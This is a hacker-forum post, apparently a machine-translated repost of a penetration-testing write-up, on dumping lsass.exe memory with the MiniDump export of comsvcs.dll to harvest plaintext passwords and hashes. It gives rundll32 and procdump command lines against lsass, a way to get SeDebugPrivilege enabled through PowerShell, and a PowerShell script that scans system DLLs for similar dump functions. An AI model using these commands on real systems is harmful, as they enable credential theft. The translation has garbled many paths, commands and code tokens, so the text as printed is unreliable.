跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

《MiniDumpWriteDump via COM+ Services DLL》的使用测试


Xiao7

推荐的帖子

0x00 前言

最近学了一个odzhan文章里介绍的技巧。使用C:\ windows \ system32 \ comsvcs.dll的导出函数MiniDump,我可以转储指定进程的内存文件。

文章地址:

https://mode XP . WordPress . com/2019/08/30/minidumpwritedump-via-com-services-dll/

本文将结合自己的经验,补充测试过程中的注意点,拓展方法,分析利用思路。写powershell脚本自动扫描系统目录下所有dll的导出函数,检查是否还有其他可用的dll,并介绍脚本实现的细节。

0x01 简介

本文将介绍以下内容:

转储指定了处理内存文件的常用方法。

用comsvcs.dll实现转储指定进程内存文件的方法

写脚本实现自动扫描dll的导出功能

利用率分析

0x02 dump指定进程内存文件的常用方法

在渗透测试中,最常用的方法是通过转储过程的lsass.exe获得明文密码和哈希。

原则上使用API MiniDumpWriteDump。参考:

https://docs . Microsoft . com/en-us/windows/win32/API/minidumpapiset/nf-minidumpapiset-minidumpwritedump

的常见实现方法如下:

1.procdump

参数如下:

procdump.exe-accept EULA-ma lsass.exe lsass . DMP

2.c++实现

https://github.com/killswitch-GUI/minidump-lib

3.powershell实现

https://github . com/powershell mafia/PowerSploit/blob/master/exfiliation/Out-minidump . PS1

4.c#实现

https://github.com/GhostPack/SharpDump

0x03 使用comsvcs.dll实现dump指定进程内存文件的方法

Odzhan在本文中给出了三种方法。

1.通过rundll32

示例参数如下:

rundll32 C:\ windows \ system32 \ com SVCs . dll,MiniDump 808 C:\ test \ lsass . DMP full

示例中lsass.exe的pid是808。

注:

这里要注意权限的问题。当dump指定进程内存文件时,需要打开SeDebugPrivilege权限。

在管理员权限的cmd下,默认支持SeDebugPrivilege权限,但状态为禁用,如下图所示。

2-1.png

因此,当直接在cmd下执行命令rundll32尝试转储指定的进程内存文件时,会因为无法打开SeDebugPrivilege权限而失败。

这是我的一个解决方案:

在管理员权限的powershell下,默认支持SeDebugPrivilege权限,其状态为启用,如下图所示

2-2.png

所以,在这里你可以通过powershell执行rundll32的命令。该命令示例如下:

powershell-C ' rundll 32 C:\ windows \ system32 \ com SVCs . dll,MiniDump 808 C:\ test \ lsass . DMP full '

2.通过vbs实现

原文提供了完整的实现代码。

执行参数如下:

cscript 1 . lsass.exe

Vbs脚本首先打开SeDebugPrivilege权限,然后执行rundll32的命令,测试成功。

3.通过c实现

原文提供了完整的实现代码。

代码首先打开SeDebugPrivilege权限,然后调用comsvcs.dll的导出函数MiniDumpW,测试成功。

0x04 编写脚本实现自动化扫描dll的导出函数

在研究了odzhan的文章后,我有一个问题:

Windows系统目录中还有其他可用的dll吗?

于是,我尝试通过脚本过滤掉系统目录下所有dll的导出函数,看看是否包含导出函数MiniDumpW W。

脚本实现需要考虑以下两个问题:

1.遍历指定目录,获取所有dll

遍历路径C:\windows的测试代码如下:

ForEach(file in(Get-child item-recurse-Filter ' *。' dll '-路径' C:\ windows '-错误操作SilentlyContinue))

{

$file。PSPath

}

因为多级目录的存在,这里需要获取dll的绝对路径,而$file的格式。PSPath是微软的。powershell . core \ file system:C:\ Windows \ RTLEXUPD.dll,实际路径需要加前缀。

优化后的代码如下:

ForEach(file in(Get-child item-recurse-Filter ' *。' dll '-路径' C:\ windows '-错误操作SilentlyContinue))

{

$file。PS path . Substring(file。PSPath.IndexOf(':') 2)

}

2.获得指定dll的导出函数

可以在这里参考https://github.com/fuzzy security/powershell-suite/blob/master/get-exports . PS1。

在此基础上进行优化,实现全流程自动化。

完整的代码已经上传到GitHub,地址如下:

https://github . com/3g student/home-of-Powershell/blob/master/Get-all exports . PS1

过滤C:\Windows的代码如下:

导入模块。/Get-AllExports.ps1

$Path='C:\Windows '

foreach(file in(get-child item-receipts filter ' *).' dll '-path $ path-错误操作静默大陆)"

{

# $文件档案PSP路径。substr(file).PSP路径。(:')2的索引)

get-exports-dllpath $ file-取得汇出-dllpath $档案PSP路径。substr(file).PSP路径。(:')2的索引)

}

测试系统:Win7x64

部分结果:

[]c:\ windows \ system32 \ com SVCs。动态链接库微型转储

[]c:\ windows \ system32 \ dbghelp。dll-小型转储读取转储流

[]c:\ windows \ system32 \ dbghelp。dll-小型转储写转储

[]c:\ windows \ sys wow 64 \ com SVCs。dll-小型转储w

[]c:\ windows \ sys wow 64 \ dbghelp。dll-小型转储读取转储流

[]c:\ windows \ sys wow 64 \ dbghelp。dll-小型转储写转储

[ ] C:\Windows\Microsoft .net \ framework \ v 2。0 .50727 \ SOS。动态链接库小型倾印模式

[ ] C:\Windows\Microsoft .net \ framework \ v 2。0 .50727 \ SOS。动态链接库小型倾印模式

[ ] C:\Windows\Microsoft .net \ framework \ v 2。0 .50727 \ SOS。动态链接库小型倾印模式

[ ] C:\Windows\Microsoft .net \ framework \ v 4。0 .30319 \ SOS。动态链接库小型倾印模式

[ ] C:\Windows\Microsoft .net \ framework \ v 4。0 .30319 \ SOS。动态链接库小型倾印模式

[ ] C:\Windows\Microsoft .net \ framework \ v 4。0 .30319 \ SOS。动态链接库小型倾印模式

[ ] C:\Windows\Microsoft .net \ framework 64 \ v 2。0 .50727 \ SOS。动态链接库小型倾印模式

[ ] C:\Windows\Microsoft .net \ framework 64 \ v 2。0 .50727 \ SOS。动态链接库小型倾印模式

[ ] C:\Windows\Microsoft .net \ framework 64 \ v 2。0 .50727 \ SOS。动态链接库小型倾印模式

[ ] C:\Windows\Microsoft .net \ framework 64 \ v 4。0 .30319 \ SOS。动态链接库小型倾印模式

[ ] C:\Windows\Microsoft .net \ framework 64 \ v 4。0 .30319 \ SOS。动态链接库小型倾印模式

[ ] C:\Windows\Microsoft .net \ framework 64 \ v 4。0 .30319 \ SOS。动态链接库小型倾印模式

[]c:\ windows \ winxs \ amd64 _ Microsoft-windows-c-什么Fe-catsrvut-coms VCS _ 31 BF 3856 ad 364和35 _ 6 .1 .7600 .16385 _无_ CEB 756 D4 b98 f01 a4 \ comsvcs。dll-minidumw

[]c:\ windows \ winxs \ amd64 _微软-windows-图像分析_ 31 BF 3856 ad 364和35 _ 6 .1 .7601 .17514 _ none _ a 6821d 2940 C2 bcdc \ dbgheblp。动态链接库微型转储流

[]c:\ windows \ winxs \ amd64 _微软-windows-图像分析_ 31 BF 3856 ad 364和35 _ 6 .1 .7601 .17514 _无_ a 6821d 2940 C2 bcdc \ dbghlp。动态链接库微型转储

[]c:\ windows \ winxs \ x86 _ Microsoft-windows-c-什么Fe-catsrvut-coms VCS _ 31 BF 3856 ad 364和35 _ 6 .1 .7600 .16385 _ none _ 7298 bb 5100131906 e \ com SVCs。dll-小型转储

[]c:\ windows \ winxs \ x86 _ Microsoft-windows-image analysis _ 31 BF 3856 ad 364和35 _ 6 .1 .7601 .17514 _无_ 4 a 6381 a 5888654 ba 6 \ dbgheblp。动态链接库微型转储流

[]c:\ windows \ winxs \ x86 _ Microsoft-windows-image analysis _ 31 BF 3856 ad 364和35 _ 6 .1 .7601 .17514 _无_ 4 a 6381 a 5888654 ba 6 \ dbgheblp。动态链接库微型倾印

测试结果如下:

1.对于不同结构的进程,可用的dll不同

对于32位的进程,可以使用32位和64位的动态链接库(dll):

c:\ windows \ system32 \ com SVCs。动态链接库

c:\ windows \ sys wow 64 \ com SVCs。动态链接库

c:\ windows \ winxs \ amd64 _ Microsoft-windows-c-什么Fe-catsrvut-coms VCS _ 31 BF 3856 ad 364和35 _ 6 .1 .7600 .16385 _无_ CEB 756 D4 b98 f01 a4 \ com SVCs。动态链接库

c:\ windows \ winxs \ x86 _ Microsoft-windows-c-什么Fe-catsrvut-coms VCS _ 31 BF 3856 ad 364和35 _ 6 .1 .7600 .16385 _ none _ 7298 bb 5100131906 e \ com SVCs。动态链接库

对于64位的进程,可以使用64位的动态链接库(dll):

c:\ windows \ system32 \ com SVCs。动态链接库

c:\ windows \ winxs \ amd64 _ Microsoft-windows-c-什么Fe-catsrvut-coms VCS _ 31 BF 3856 ad 364和35 _ 6 .1 .7600 .16385 _无_ CEB 756 D4 b98 f01 a4 \ com SVCs。动态链接库

无法使用32位的动态链接库(dll):

c:\ windows \ sys wow 64 \ com SVCs。动态链接库

c:\ windows \ winxs \ x86 _ Microsoft-windows-c-什么Fe-catsrvut-coms VCS _ 31 BF 3856 ad 364和35 _ 6 .1 .7600 .16385 _ none _ 7298 bb 5100131906 e \ com SVCs。动态链接库

2.dbghelp.dll对应API MiniDumpWriteDump

3.SOS.dll中的导出函数minidumpmode

用于防止在使用迷你转储时执行非安全命令。0表示禁用这个功能,1表示启用。默认为0

0x05 利用分析

如果想要转储指定进程的内存文件,可以使用新的方法,示例命令如下:

powershell-有rundll 32c:\ windows \ system32 \ com SVCs。' C:\test\lsass.dmp full '

其中comsvcs.dll可以替换为以下动态链接库(dll):

c:\ windows \ sys wow 64 \ com SVCs。动态链接库

c:\ windows \ winxs \ amd64 _ Microsoft-windows-c-什么Fe-catsrvut-coms VCS _ 31 BF 3856 ad 364和35 _ 6 .1 .7600 .16385 _无_ CEB 756 D4 b98 f01 a4 \ com SVCs。动态链接库

c:\ windows \ winxs \ x86 _ Microsoft-windows-c-什么Fe-catsrvut-coms VCS _ 31 BF 3856 ad 364和35 _ 6 .1 .7600 .16385 _ none _ 7298 bb 5100131906 e \ com SVCs。动态链接库

这种方法的优点是不需要上传文件,使用系统默认包含的动态链接库就可以实现

0x06 小结

本文在odzhan文章的基础上,补充了测试过程中的注意事项,扩展了方法,分析了利用思路。编写powershell脚本,自动扫描系统目录下所有dll的导出函数。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...